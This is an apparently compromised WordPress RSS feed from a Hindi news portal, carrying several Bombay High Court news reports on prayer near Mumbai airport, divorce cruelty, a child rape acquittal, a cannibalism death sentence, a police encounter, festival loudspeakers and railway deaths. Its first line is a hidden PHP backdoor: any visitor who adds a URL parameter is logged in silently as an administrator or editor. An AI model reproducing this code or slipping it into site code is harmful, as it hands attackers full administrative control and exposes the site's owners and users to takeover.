// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Bombay High Court – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 06 Mar 2026 10:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बॉम्बे हाई कोर्ट का बड़ा फैसला: कहीं भी नमाज अदा करने का अधिकार नहीं दिया जा सकता, जानें पूरा मामला https://pratyushaashakinayikiran.com/?p=202811 Fri, 06 Mar 2026 10:40:00 +0000 https://pratyushaashakinayikiran.com/?p=202811 मुंबई

बॉम्बे हाई कोर्ट ने छत्रपति शिवाजी महाराज इंटरनेशनल एयरपोर्ट के पास टैक्सी और ऑटो रिक्शा चालकों को रमजान के दौरान नमाज पढ़ने की अनुमति देने से इन्कार कर दिया है।

अदालत ने स्पष्ट कहा कि रमजान इस्लाम का महत्वपूर्ण धार्मिक महीना है, लेकिन इसका मतलब यह नहीं कि कोई भी व्यक्ति किसी भी स्थान पर नमाज पढ़ने का अधिकार मांग सकता है। खासकर एयरपोर्ट जैसे संवेदनशील और उच्च सुरक्षा वाले क्षेत्र में सुरक्षा को सर्वोच्च प्राथमिकता दी जानी चाहिए।

सुरक्षा को धर्म से ऊपर बताया
    जस्टिस बी.पी. कोलाबावाला और जस्टिस फिरदौस पूनीवाला की पीठ ने गुरुवार को सुनवाई के दौरान कहा कि अदालत सुरक्षा संबंधी चिंताओं को नजरअंदाज नहीं कर सकती।

    कोर्ट ने कहा कि एयरपोर्ट परिसर और उसके आसपास का क्षेत्र अत्यधिक संवेदनशील होता है, जहां किसी भी तरह की भीड़ या अस्थायी व्यवस्था सुरक्षा के लिए खतरा बन सकती है। पीठ ने स्पष्ट शब्दों में कहा कि धर्म चाहे जो भी हो, सुरक्षा सबसे पहले है और इससे कोई समझौता नहीं किया जा सकता।

अस्थायी शेड हटाए जाने के बाद दाखिल हुई थी याचिका
    यह मामला टैक्सी-रिक्शा ओला-उबर मेंस यूनियन द्वारा दाखिल याचिका से जुड़ा है। याचिकाकर्ताओं का कहना था कि वे छत्रपति शिवाजी महाराज इंटरनेशनल एयरपोर्ट के पास बने एक अस्थायी शेड के नीचे नमाज अदा करते थे। हालांकि, पिछले वर्ष अधिकारियों ने उस शेड को हटा दिया था।

    यूनियन ने अदालत से मांग की थी कि उन्हें उसी स्थान पर नमाज पढ़ने की अनुमति दी जाए या फिर आसपास किसी अन्य स्थान को इसके लिए निर्धारित किया जाए।

एयरपोर्ट की सुरक्षा का दिया हवाला

अदालत ने बार-बार एयरपोर्ट सुरक्षा के महत्व पर जोर देते हुए कहा कि सावधानी को नजरअंदाज नहीं किया जा सकता। पिछली सुनवाई में अदालत ने पुलिस और एयरपोर्ट प्राधिकरण को निर्देश दिया था कि वे यह देखें कि याचिकाकर्ताओं को कहीं और स्थान दिया जा सकता है या नहीं। प्राधिकरणों ने अपनी रिपोर्ट अदालत में पेश की। सात अन्य स्थानों का सर्वे किया गया, लेकिन भीड़भाड़, सुरक्षा चिंताओं और एयरपोर्ट विकास योजना के कारण कोई भी जगह उपयुक्त नहीं पाई गई।

मदरसे में जाकर अदा करें नमाज  

रिपोर्ट देखने के बाद हाईकोर्ट ने कहा कि मामला सीधे एयरपोर्ट की सुरक्षा से जुड़ा है, इसलिए याचिकाकर्ताओं को राहत नहीं दी जा सकती। अदालत ने यह भी कहा कि संबंधित स्थान से एक किलोमीटर के भीतर एक मदरसा है, जहां नमाज अदा की जा सकती है। पीठ ने कहा कि एयरपोर्ट के आसपास प्रार्थना स्थल बनाने का सवाल ही नहीं उठता। अदालत ने टिप्पणी की कि सुरक्षा सबसे पहले आती है और इस एयरपोर्ट से हर धर्म के लोग यात्रा करते हैं।

जरूरी नहीं कि किसी जगह पर नमाज पढ़ी जाए

हाईकोर्ट ने कहा कि दुनिया में कहीं भी एयरपोर्ट के इतने करीब इस तरह की व्यवस्था नहीं देखी गई है। याचिकाकर्ता यह तय नहीं कर सकते कि वे किस जगह नमाज पढ़ेंगे। अदालत ने उदाहरण देते हुए कहा कि अगर कोई कल यह कहे कि वह ओवल मैदान के बीच में खड़े होकर नमाज पढ़ना चाहता है, तो यह संभव नहीं हो सकता। अदालत ने कहा कि कोई भी व्यक्ति दिन में पांच बार नमाज अदा कर सकता है, लेकिन यह जरूरी नहीं कि वह किसी भी जगह पर ही की जाए।

वैकल्पिक स्थानों का सर्वे, लेकिन नहीं मिली उपयुक्त जगह

    इससे पहले अदालत ने पुलिस और एयरपोर्ट प्राधिकरण को निर्देश दिया था कि वे आसपास के क्षेत्रों का सर्वे कर यह देखें कि क्या नमाज के लिए कोई अन्य स्थान उपलब्ध कराया जा सकता है।

    गुरुवार को अधिकारियों ने अपनी रिपोर्ट अदालत में पेश की। रिपोर्ट में बताया गया कि सात अलग-अलग स्थानों का सर्वे किया गया, लेकिन भीड़, सुरक्षा चिंताओं और एयरपोर्ट के विकास कार्यों के कारण कोई भी जगह उपयुक्त नहीं पाई गई।

कोर्ट ने मदरसे में नमाज पढ़ने की दी सलाह

    रिपोर्ट देखने के बाद अदालत ने कहा कि वह इस मामले में कोई राहत नहीं दे सकती। अदालत ने याचिकाकर्ताओं को सलाह दी कि वे आसपास मौजूद धार्मिक स्थलों का उपयोग करें।

    कोर्ट ने बताया कि प्रस्तावित स्थान से करीब एक किलोमीटर के भीतर एक मदरसा मौजूद है, जहां नमाज अदा की जा सकती है। अदालत ने यह भी कहा कि भविष्य में टर्मिनल-1 के पुनर्विकास के दौरान यदि संभव हुआ तो याचिकाकर्ता अपनी मांग एयरपोर्ट प्राधिकरण के सामने रख सकते हैं।

सर्वे में नमाज के लिए कोई जगह नहीं मिली

कोर्ट ने पुलिस और एयरपोर्ट अधिकारियों से यह जांच करने को कहा था कि क्या याचिकाकर्ताओं को कोई वैकल्पिक जगह दी जा सकती है। गुरुवार को पेश की गई रिपोर्ट में अधिकारियों ने बताया कि सात जगहों का सर्वे किया गया, लेकिन भीड़, सुरक्षा चिंताओं और एयरपोर्ट डेवलपमेंट प्लान के कारण कोई भी जगह उपयुक्त नहीं पाई गई।

रिपोर्ट देखने के बाद हाईकोर्ट ने कहा कि एयरपोर्ट के आसपास नमाज पढ़ने के लिए कोई जगह तय करना संभव नहीं है। कोर्ट ने कहा- धर्म हो या कुछ और सुरक्षा सबसे पहले आती है। इस एयरपोर्ट से हर धर्म के लोग यात्रा करते हैं, इसलिए सुरक्षा से समझौता नहीं किया जा सकता।

कोर्ट बोला- आप नमाज की जगह तय नहीं कर सकते

कोर्ट ने यह भी कहा कि याचिकाकर्ता खुद यह तय नहीं कर सकते कि वे किस जगह नमाज पढ़ेंगे। बेंच ने उदाहरण देते हुए कहा कि यदि कोई किसी सार्वजनिक स्थान के बीच में नमाज पढ़ने की मांग करे तो इसे स्वीकार नहीं किया जा सकता।

कोर्ट ने याचिकाकर्ताओं से कहा कि वे किसी दूसरी जगह की तलाश करें। कोर्ट ने यह भी उल्लेख किया कि संबंधित इलाके से करीब एक किलोमीटर की दूरी पर एक मदरसा मौजूद है, जहां नमाज पढ़ी जा सकती है।

 

]]> बॉम्बे हाई कोर्ट ने कहा- जीवनसाथी का त्महत्या करने की धमकी देना क्रूरता है, यह तलाक का वैध आधार https://pratyushaashakinayikiran.com/?p=143866 Thu, 27 Mar 2025 14:50:00 +0000 https://pratyushaashakinayikiran.com/?p=143866 मुंबई
बॉम्बे हाई कोर्ट ने कहा है कि जीवनसाथी का आत्महत्या का प्रयास करना या आत्महत्या करने की धमकी देना क्रूरता है और यह तलाक का वैध आधार है। हाई कोर्ट की औरंगाबाद पीठ के जस्टिस आरएम जोशी ने पिछले महीने अपने आदेश में दंपती के विवाह को खत्म करने के परिवार अदालत के आदेश को बरकरार रखा। महिला ने फैमिली कोर्ट के आदेश को हाई कोर्ट में चुनौती दी थी।

पति ने लगाए थे ये आरोप?
पति ने आरोप लगाया था कि उसकी पत्नी ने धमकी दी थी कि वह आत्महत्या करके उसे व उसके परिवार को जेल भिजवा देगी। परिवार अदालत के समक्ष दायर तलाक की याचिका में उसने कहा कि हिंदू विवाह अधिनियम के प्रविधानों के तहत यह क्रूरता है।हाई कोर्ट पीठ ने अपने आदेश में कहा कि पति की ओर से परिवार अदालत में प्रस्तुत साक्ष्य एवं अन्य गवाह यह प्रदर्शित करने के लिए पर्याप्त से अधिक हैं कि उसकी क्रूरता की दलील साबित होती है।
 
अदालत ने कहा कि पति ने न सिर्फ पत्नी द्वारा आत्महत्या की धमकी का आरोप लगाया था बल्कि पत्नी ने एक बार आत्महत्या का प्रयास किया भी था। हाई कोर्ट ने कहा, 'जीवनसाथी की ओर से इस तरह का कृत्य ऐसी क्रूरता मानी जाएगी जो तलाक का आदेश देने का आधार बन जाती है।' पीठ ने तलाक मंजूर करने के परिवार अदालत के आदेश को रद करने से इनकार कर दिया और कहा कि इसमें कुछ भी प्रतिकूलता नहीं है, लिहाजा किसी तरह के हस्तक्षेप की जरूरत नहीं है।मामले के अनुसार, दंपती का अप्रैल, 2009 में विवाह हुआ था और उनकी एक पुत्री भी है।

सास-ससुर पर हस्तक्षेप का आरोप
पति ने दावा किया था कि उसके सास-ससुर अक्सर उसके घर आया करते थे और उनके वैवाहिक जीवन में हस्तक्षेप करते थे। 2010 में उसकी पत्नी उसका घर छोड़कर अपने माता-पिता के घर चली गई और लौटने से इन्कार कर दिया। पति का आरोप था कि उसकी पत्नी ने कहा था कि वह उसके और उसके परिवार के खिलाफ झूठी शिकायतें दर्ज करा देगी और उन्हें जेल भिजवा देगी। जबकि महिला ने अपनी याचिका में कहा कि पति व उसके पिता उसके साथ दु‌र्व्यवहार करते थे, लिहाजा उसने पति का घर छोड़ दिया। उसने पति के साथ किसी तरह की क्रूरता करने से इनकार किया था।

]]> बॉम्बे हाईकोर्ट की नागपुर पीठ ने 64 साल के एक रेप को आरोपी को बरी किया, कहा- रेप होता तो खेलने नहीं जाती https://pratyushaashakinayikiran.com/?p=78302 Tue, 01 Oct 2024 20:57:00 +0000 https://pratyushaashakinayikiran.com/?p=78302 नागपुर
बॉम्बे हाईकोर्ट की नागपुर पीठ ने 64 साल के एक रेप को आरोपी को बरी कर दिया है। कोर्ट ने मामले की सुनवाई के दौरान कहा है कि बच्ची अगर यौन उत्पीड़न का शिकार हुई होती तो वह डर जाती और सामान्य व्यवहार नहीं करती या खेलती नहीं। आरोपी को मार्च 2019 में आठ साल की बच्ची के साथ कथित रूप से बलात्कार करने के लिए पोक्सो अधिनियम और आईपीसी की धारा 376एबी के तहत 20 साल के कठोर कारावास की सजा सुनाई गई थी। विजय जवांजल नाम का यह शख्स अमरावती जिले के अचलपुर का रहने वाला है। जस्टिस गोविंदा सनप ने जवांजल को जेल से रिहा करने का आदेश देते हुए कहा, "यदि आरोपी ने बलात्कार किया था तो यह एक जघन्य कृत्य था। इस तरह के हादसे के बाद निस्संदेह बच्ची बहुत डर गई होती। इससे उसे बहुत दर्द और आघात पहुंचा होता। सामान्य परिस्थितियों में वह इस तरह के हादसे के बाद मौके से भागकर अपने घर चली जाती और अपनी मां को घटना के बारे में बताती।"

बच्ची ने अगले दिन दी थी जानकारी
वकील के मुताबिक तीसरी कक्षा की छात्रा, पीड़िता अपने घर के पास एक सामुदायिक मंदिर में खेलने गई थी। लेकिन कुछ समय तक बच्ची वहां नहीं दिखी। काफी देर बाद जब बच्ची लौटी तो मां ने उसे उसे स्कूल पहुंचा दिया। स्कूल से लौटने के बाद लड़की उदास और असहज लग रही थी। उसने अगले दिन अपनी मां को बताया कि आरोपी ने उसे मिठाई दी थी उसके प्राइवेट पार्ट को जबरदस्ती छुआ था और उसे दर्द हो रहा था। इसके बाद मां ने असेगांव पुलिस स्टेशन में शिकायत दर्ज कराई थी।

मां ने सिखाया था आरोपी का नाम- कोर्ट
मां की गवाही का हवाला देते हुए जस्टिस सनप ने बताया कि जब वह अपनी बेटी को खोजने गई तो उसने देखा था कि आरोपी पास में बैठा था और लड़की खेल रही थी। कोर्ट ने यह स्पष्ट किया कि अदालत को सतर्क रहना चाहिए और यह सुनिश्चित करना चाहिए कि बच्ची को किसी भी तरह से कुछ सिखाया ना जाए। जज ने कहा कि पीड़िता ने खुद बताया कि उसे आरोपी का नाम बताने के लिए उसकी मां ने सिखाया था। उन्होंने कहा, "लड़की ने कहा है कि उसकी मां ने उसे अदालत को यह बताने के लिए कहा था कि आरोपी कौन है नहीं तो उसे सजा दी जायेगी। उस दिन उसे लू लग गई थी। उसने कहा है कि उसके प्राइवेट पार्ट में दर्द और खुजली थी। उसकी मां ने नकली सबूत गढ़े।"

आजीवन कारावास की मिली थी सजा
सेशंस कोर्ट द्वारा आजीवन कारावास की सजा सुनाए जाने के बाद आरोपी ने हाईकोर्ट में फैसले को चुनौती दी थी। उसने तर्क दिया था कि उनका पोटेंसी टेस्ट नहीं कराया गया था क्योंकि उस समय उनकी उम्र 60 साल थी और मेडिकल रिपोर्ट से मामले का पता नहीं चल पाया था।

]]> मां की हत्या कर बेटा खा गया अंग-अंग मामले में एक अपराधी को दी गई मौत की सजा बरकरार, ये नरभक्षण केस https://pratyushaashakinayikiran.com/?p=78273 Tue, 01 Oct 2024 20:27:00 +0000 https://pratyushaashakinayikiran.com/?p=78273 मुंबई
बॉम्बे हाई कोर्ट ने अपनी ही मां की हत्या कर उसके अंग खाने के मामले में एक अपराधी को दी गई मौत की सजा बरकरार रखते हुए कहा कि यह नरभक्षण का मामला है। सुनील कुचकोरवी नाम के अपराधी को कोल्हापुर की जिला अदालत ने 2017 में मां की जघन्य हत्या करने और उसके अंगों को कथित तौर पर खाने के मामले में दोषी ठहराते हुए मौत की सजा सुनाई थी और कहा था कि यह नरभक्षण का मामला है। इस सजा के खिलाफ कुचकोरवी ने हाई कोर्ट में अपील की थी।

जस्टिस रेवती मोहिते डेरे और जस्टिस पृथ्वीराज चव्हाण की खंडपीठ ने फैसला सुनाया कि यह मामला 'दुर्लभतम में से दुर्लभतम' है, जिसमें दोषी के सुधार की कोई संभावना नहीं है। इसलिए उसकी मौत की सजा कम नहीं की जा सकती है।

अदालती कार्यवाही के दौरान सात साल पहले हुए अपराध की खौफनाक कहानी भी कोर्टरूम में सुनाई गई, जिसमें बताया गया कि दोषी करार दिए गए कुचकोरवी ने न केवल अपनी 63 वर्षीय मां यल्लामा रामा कुचकोरवी की हत्या की, बल्कि उसने मां की लाश के टुकड़े-टुकड़े कर दिए और उसके मस्तिष्क, हृदय, यकृत, गुर्दे और आंतों सहित कई अंगों को पकाकर खाया था। कथित तौर पर दोषी को तब पकड़ा गया था, जब वह मां की लाश से दिल निकालकर उसे पकाने की तैयारी कर रहा था। अभियोजन पक्ष ने बताया कि जब सुनील कुचकोरवी की मां ने शराब खरीदने के लिए उसे पैसे देने से इनकार कर दिया था, तब उसने मां की खौफनाक तरीके से हत्या कर दी थी।

मां की नृशंस हत्या और खौफनाक तरीके से लाश को टुकड़े-टुकड़े कर अंग खाने की कहानी जानकर हाई कोर्ट की खंडपीठ ने कहा कि यह स्पष्ट रूप से दुर्लभतम श्रेणी में आता है। पीठ ने कहा कि दोषी ने न केवल अपनी मां की हत्या की है बल्कि उसके अंगों को पकाकर खाया भी है, जो जघन्य अपराध की श्रेणी में आता है। हाई कोर्ट ने कहा कि अपराधी की प्रवृतियों को देखते हुए नहीं लगता कि उसमें सुधार के कोई लक्षण हैं। कोर्ट ने यह भी कहा कि अगर इसकी मौत की सजा कम कर आजीवन कारावास में तब्दील की जाती है, तब भी वह इसी तरह के अपराध कर सकता है।

लॉ ट्रेंड की रिपोर्ट के मुताबिक, खंडपीठ ने दो-टूक लहजे में चेतावनी देते हुए कहा कि अगर इस अपराधी को आजीवन कारावास की सजा दी जाती है तो यह जेल के अंदर भी इसी तरह का अपराध कर सकता है। फिलहाल कुचकोरवी पुणे की यरवदा जेल में बंद है। उसे वीडियो कॉन्फ्रेन्सिंग के जरिए अदालत में पेश किया गया था।

]]> बॉम्बे हाई कोर्ट ने शादी का झांसा देकर रेप के एक मामले में बड़ी टिप्पणी की, शादीशुदा महिला नहीं कर सकती दावा https://pratyushaashakinayikiran.com/?p=76632 Sat, 28 Sep 2024 12:15:00 +0000 https://pratyushaashakinayikiran.com/?p=76632 मुंबई
बॉम्बे हाई कोर्ट ने शादी का झांसा देकर रेप के एक मामले में बड़ी टिप्पणी की है। हाई कोर्ट ने कहा कि शादीशुदा महिला किसी और शख्स पर आरोप नहीं लगा सकती कि उसने शादी का झांसा देकर उसके साथ रेप किया है। जस्टिस मनीष पिताले की सिंगल जज बेंच ने रेप केस में गिरफ्तार पुणे के युवक को जमानत देते हुए यह बात कही है।

कोर्ट ने कहा, पहली बात जब महिला पहले से ही शादीशुदा है तो वह यह दावा नहीं कर सकती कि किसी और शख्स ने उसके साथ शादी का वादा करके रेप किया। महिला को पता होना चाहिए कि वह शादी नहीं कर सकती है। अगर किसी मामले में आरोपी भी शादीशुदा होता है तब भी शादी का झांसा देकर रेप करने वाली बात सही साबित नहीं होती है।

बता दें कि विशाल नागनाथ शिंदे नाम के शख्स के खिलाफ रेप का मामला दर्ज किया गया था। वह खुद भी शादीशुदा है। महिला का कहना है कि दोनों के बीच पहले दोस्ती हो गई और इसके बाद नागनाथ ने शादी का झांसा देकर उसके साथ रेप किया और वीडियो वायरल करने की धमकी दी। वहीं कोर्ट ने कहा कि अब तक ऐसे सबूत नहीं पाए गए हैं कि नागनाथ के पास उसका कोई वीडियो है।

शिंदे के वकील ने कोर्ट में कहा कि वह जांच में पूरी सहायता कर रहा है। कोर्ट ने शिंदे को आदेश दिया है कि उसे पुलिस के बुलाए जाने पर थाने में हाजिरी देनी होगी। इसके अलावा जांच के लिए अपना मोबाइल फोन जमा करना होगा। कोर्ट ने कहा, अब तक यह नहीं पता चला है कि आरोपी ने कोई भी वीडियो सर्कुलेट किया है।

]]> बॉम्बें हाई कोर्ट ने बदलापुर में दो बच्चियों से यौन उत्पीड़न के आरोपी के एनकाउंटर पर गंभीर सवाल उठाए https://pratyushaashakinayikiran.com/?p=75166 Wed, 25 Sep 2024 18:25:00 +0000 https://pratyushaashakinayikiran.com/?p=75166 मुंबई
बदलापुर में दो बच्चियों से यौन उत्पीड़न के आरोपी अक्षय शिंदे के एनकाउंटर पर बॉम्बें हाई कोर्ट ने गंभीर सवाल उठाए हैं। अदालत ने कहा कि यह पहली नजर में एनकाउंटर नहीं लगता है। कोई आम आदमी गोली नहीं चला सकता। इसके लिए अलावा तीन गोलियां चलने की बात कही जा रही है और एक ही लगी है तो फिर बाकी की दो गोलियां कहां हैं। यही नहीं बेंच ने कहा कि इस मामले में पिस्तौल पर उंगलियों के निशान की जांच की जानी चाहिए। अदालत ने साफ कहा कि इसे एनकाउंटर नहीं कहा जा सकता। एक बात यह भी बेंच ने पूछी कि आखिर 4 पुलिस वाले एक आरोपी पर काबू क्यों नहीं कर सके। एक कमजोर आदमी फायर नहीं कर सकता।

कोर्ट ने कहा कि एक आम आदमी पुलिस की रिवॉल्वर को लोड ही नहीं कर सकता। कैसे एक आरोपी तीन राउंड गोलियां पुलिस वैन के अंदर ही चलाता है और उसे पुलिसकर्मी काबू नहीं कर पाते। यह समझ से परे है और इसी के चलते सवाल खड़े होते हैं। इस एनकाउंटर पर अक्षय शिंदे के परिवार ने सवाल उठाए थे और हाई कोर्ट में अर्जी दाखिल की थी। परिवार का कहना था कि उनके बेटे को मार डाला गया है और उसे अब एनकाउंटर बताया जा रहा है। वहीं अक्षय का एनकाउंटर करने वाले इंस्पेक्टर संजय शिंदे अलग ही कहानी बता रहे हैं।

एनकाउंटर की क्या कहानी बता रही है पुलिस
संजय शिंदे का कहना है कि पुलिस वैन में ले जाए जाने के दौरान अक्षय शिंदे ने एक पुलिसकर्मी की पिस्तौल छीन ली थी। उसने पिस्तौल तानते हुए कहा कि मैं किसी को नहीं छोड़ूंगा। उसकी ओर से गोली चलाई गई और जवाबी ऐक्शन में वह मारा गया। यही नहीं संजय शिंदे की ओर से ही इस मामले में मुंब्रा पुलिस थाने में एफआईआर भी दर्ज कराई गई है। संजय शिंदे ने इसे एनकाउंटर बताते हुए कहा कि उसकी हत्या आत्मरक्षा के दौरान हुई थी। बता दें कि सोमवार की शाम को अक्षय शिंदे को तलोजा जेल से लेकर पुलिस निकली थी। उसे पत्नी की ओर से दायर केस की जांच के लिए ही निकाला गया था।

पुलिस का कहना है कि इसी दौरान वैन में अक्षय शिंदे ने पिस्तौल छीन ली और फायरिंग कर दी। पुलिस इन्सपेक्टर संजय शिंदे ड्राइवर के केबिन में बैठे थे, जबकि अक्षय शिंदे के साथ दो अन्य पुलिस वाले पीछे बैठे थे। संजय शिंदे का कहना है कि अक्षय ने पिस्तौल छीन ली थी और पुलिस वालों को गाली देने लगा था। इस पुलिस वैन रुकवाकर वह पीछे गए तो देखा कि उसने पिस्तौल तान रखी है। इसी दौरान एनकाउंटर हो गया, जिसमें अक्षय शिंदे मारा गया। इस मामले पर विपक्ष भी सवाल उठा रहा है।

]]> बॉम्बे हाई कोर्ट ने कहा- लाउडस्पीकर अगर गणेश उत्सव के दौरान हानिकारक है तो फिर ईद में भी नुकसानदेह https://pratyushaashakinayikiran.com/?p=72214 Wed, 18 Sep 2024 20:16:00 +0000 https://pratyushaashakinayikiran.com/?p=72214 मुंबई
बॉम्बे हाई कोर्ट ने बुधवार को कहा कि यदि गणेश उत्सव के दौरान एक लेवल से ज्यादा तेज आवाज में लाउडस्पीकर बजाना हानिकारक है तो फिर ईद में भी उसका वही असर होता है। अदालत ने कहा कि गणेश उत्सव की तरह ही लाउडस्पीकर का तेज बजना ईद-मिलाद-उन-नबी के जुलूसों में भी गलत है। मुख्य न्यायाधीश डीके उपाध्याय और न्यायमूर्ति अमित बोरकर की खंडपीठ ने ईद-मिलाद-उन-नबी के जुलूसों के दौरान ‘डीजे’, ‘लेजर लाइट’ आदि के इस्तेमाल पर प्रतिबंध लगाने के अनुरोध वाली कई जनहित याचिकाओं (पीआईएल) पर सुनवाई करते हुए यह टिप्पणी की।

जनहित याचिकाओं में दावा किया गया है कि न तो कुरान और न ही हदीस (धार्मिक पुस्तकों) में डीजे सिस्टम और लेजर लाइट के उपयोग का जिक्र है। पीठ ने गणेश उत्सव से ठीक पहले, पिछले महीने पारित आदेश का हवाला दिया, जिसमें त्योहारों के दौरान ध्वनि प्रदूषण (विनियमन एवं नियंत्रण) नियम, 2000 के तहत उल्लेखित सीमा से अधिक शोर करने वाली ध्वनि प्रणालियों और लाउडस्पीकरों के उपयोग पर प्रतिबंध लगाने पर जोर दिया गया था।

याचिकाकर्ताओं के वकील ओवैस पेचकर ने अदालत से अपने पहले के आदेश में ईद को भी जोड़ने की अपील की, जिस पर पीठ ने कहा कि इसकी आवश्यकता नहीं है क्योंकि आदेश में 'सार्वजनिक त्योहार' का उल्लेख किया गया है। अदालत ने याचिकाओं का निपटारा करते हुए कहा, ‘यदि यह गणेश चतुर्थी के मौके पर हानिकारक है तो ईद पर भी हानिकारक है।’ लेजर लाइट के इस्तेमाल पर पीठ ने याचिकाकर्ताओं से कहा कि वे मनुष्यों पर ऐसी लाइटों के हानिकारक प्रभावों के बारे में वैज्ञानिक सबूत दिखाएं।

पीठ ने कहा कि ऐसी याचिकाएं दायर करने से पहले उचित शोध किया जाना चाहिए। जजों ने कहा, ‘आपने शोध क्यों नहीं किया? जब तक वैज्ञानिक रूप से यह साबित नहीं हो जाता कि इससे मनुष्यों को नुकसान होता है, हम ऐसे मुद्दे पर कैसे निर्णय ले सकते हैं?’ बेंच ने कहा कि याचिकाकर्ताओं को प्रभावी निर्देश देने के सिलसिले में अदालतों की मदद करनी चाहिए। उच्च न्यायालय ने कहा, 'यही समस्या है। जनहित याचिका दायर करने से पहले आपको बुनियादी शोध करना चाहिए। आपको प्रभावी निर्देश देने के सिलसिले में अदालत की सहायता करनी चाहिए। हम विशेषज्ञ नहीं हैं। हमें लेजर का 'एल' भी नहीं पता है।'

]]> मुंबई की ट्रेन में यात्रियों को जानवरों की तरह यात्रा करते देखना शर्मनाक: कोर्ट https://pratyushaashakinayikiran.com/?p=45894 Fri, 28 Jun 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=45894 मुंबई
 बॉम्बे हाई कोर्ट ने रेलवे से सवाल किया कि क्या वो लोकल ट्रेनों में होने वाली मौतों को रोक पाया है। कोर्ट ने कहा कि यात्रियों को जानवरों से भी बदतर हालत में सफर करना पड़ता है। चीफ जस्टिस देवेंद्र कुमार उपाध्याय और जस्टिस अमित बोरकर ने कहा कि यह आपकी जिम्मेदारी और कर्तव्य है। आपको लोगों की जान बचाने के लिए अदालत के निर्देशों पर निर्भर नहीं रहना चाहिए। ये बात उन्होंने एक जनहित याचिका की सुनवाई के दौरान कही। याचिका में लोकल ट्रेन सेवा पर होने वाली मौतों के संभावित कारणों और स्थिति से निपटने के सुझाव दिए गए थे। चीफ जस्टिस ने कहा कि मुझे शर्म आती है। जिस तरह से लोकल ट्रेनों में यात्रियों को सफर कराया जाता है।

टोक्यो के बाद मुंबई सबसे ज्यादा व्यस्त
याचिका में कहा गया है कि मुंबई उपनगरीय रेलवे टोक्यो के बाद दुनिया का दूसरा सबसे व्यस्त रेलवे है। मगर यहां हर साल 2,000 से ज्यादा मौतें होती हैं। इनमें से 33.8 फीसदी मौतें पटरियों पर होती हैं। इसमें यह भी कहा गया है कि जहां यात्रियों की संख्या में भारी इजाफा हुआ है, वहीं रेलवे स्टेशनों पर बुनियादी ढांचा पुराना और खस्ताहाल है। याचिकाकर्ता यतिन जाधव की ओर से पेश हुए वकील रोहन शाह और सुरभि प्रभुदेसाई ने दलील दी कि रेलवे पटरियों को पार करते समय ट्रेन से गिरने या प्लेटफॉर्म-ट्रेन के बीच फिसलने से होने वाली मौतों को अप्रिय घटनाएं बताकर अपना पल्ला झाड़ लेता है।

लोकल से यात्रा मतलब जंग
शाह ने कहा कि अपने काम या कॉलेज जाने के लिए बाहर निकलना जंग के मैदान में जाने जैसा है। उन्होंने समाचार रिपोर्ट भी पेश की, जिसमें कल्याण स्टेशन पर ट्रेन में चढ़ने के लिए भगदड़ जैसी स्थिति का जिक्र था। पश्चिम रेलवे के वकील सुरेश कुमार ने कहा कि 2008 से उन्होंने पहले की एक जनहित याचिका में दिए गए निर्देशों का पालन किया है, जिसमें रेलवे के लिए दिशानिर्देश शामिल हैं। इसमें प्लेटफॉर्म-ट्रेन के बीच की खाई को ठीक करना शामिल है और HC उठाए गए कदमों से संतुष्ट था।

रेलवे से किए सवाल
इसके बाद जजों ने पूछा कि क्या रेलवे ट्रेन से गिरने और उससे होने वाली मौतों को रोक पाया है? उन्होंने कहा कि वेस्टर्न रेलवे यह कहकर बच नहीं सकता कि वह रोजाना 33 लाख यात्रियों को ढोता है। चीफ जस्टिस ने कहा कि आपको अपना नजरिया और सोच बदलनी होगी। इस बार हम अधिकारियों को जवाबदेह बनाने जा रहे हैं। आप मानव यात्रियों को मवेशियों या शायद उससे भी बदतर की तरह ढो रहे हैं।

कोर्ट ने आदेश में क्या कहा?
आदेश में कोर्ट ने कहा कि याचिका में उठाए गए मुद्दे पर सभी संबंधितों, विशेष रूप से रेलवे बोर्ड के सदस्य और क्षेत्रीय सुरक्षा आयुक्तों सहित उच्च अधिकारियों का तत्काल ध्यान देने की आवश्यकता है। कोर्ट ने वेस्टर्न रेलवे और सेंट्रल रेलवे के महाप्रबंधकों को निर्देश दिया कि वे जनहित याचिका के जवाब में एक हलफनामा दाखिल करें और दुर्घटनाओं को रोकने के उपायों की सूची दें। जवाब मिलने के बाद हाईकोर्ट मुंबई में दैनिक ट्रेन यात्री मौतों की चुनौती से निपटने के उपाय सुझाने के लिए आयुक्तों/विशेषज्ञों की एक समिति का गठन करने पर विचार कर सकता है।

]]> कोर्ट के आदेश पर CWC ने बिन ब्याही मां को लौटाया 2 माह का बच्चा https://pratyushaashakinayikiran.com/?p=36551 Sat, 01 Jun 2024 12:46:00 +0000 https://pratyushaashakinayikiran.com/?p=36551 मुंबई

बॉम्बे हाई कोर्ट के हस्तक्षेप के बाद एक अविवाहित 23 वर्षीय महिला को उसकी दो माह की बेटी वापस मिल गई है। बाल कल्याण कमिटी (सीडबल्यूसी) ने बच्ची को वापस करने के संबंध में एक आदेश जारी किया है। संस्था द्वारा बेटी को वापस न दिए जाने से परेशान महिला ने हाई कोर्ट में याचिका दायर की थी। पिछली सुनवाई पर कोर्ट ने सीडबल्यूसी को इस बारे में निर्णय लेने का निर्देश दिया था। महिला ने दावा किया था कि जिस संस्था की निगरानी में उसने बच्ची को जन्म दिया था, उसने अंधरे में रखकर उससे सरेंडर डीड साइन कराई थी। संस्था से बार-बार आग्रह किए जाने के बावजूद बेटी नहीं लौटाई गई। याचिका में महिला ने दावा किया था कि वह बेटी के खुद से दूर होने के चलते ठीक से रह नहीं पा रही है। भावनात्मक रूप से वह काफी दुखी है।

'60 दिन के भीतर बच्ची को लिया जा सकता है वापस'

नियमानुसार, 60 दिनों के भीतर बच्चे को सौंपने को लेकर संस्था द्वारा की गई सरेंडर डीड को रद्द किया जा सकता है। महिला ने 60 दिन की अवधि के भीतर सीडबल्यूसी के पास अपनी बेटी को वापस पाने के लिए आवेदन कर दिया था। इसके बावजूद उस पर कोई निर्णय नहीं हो पाया था।

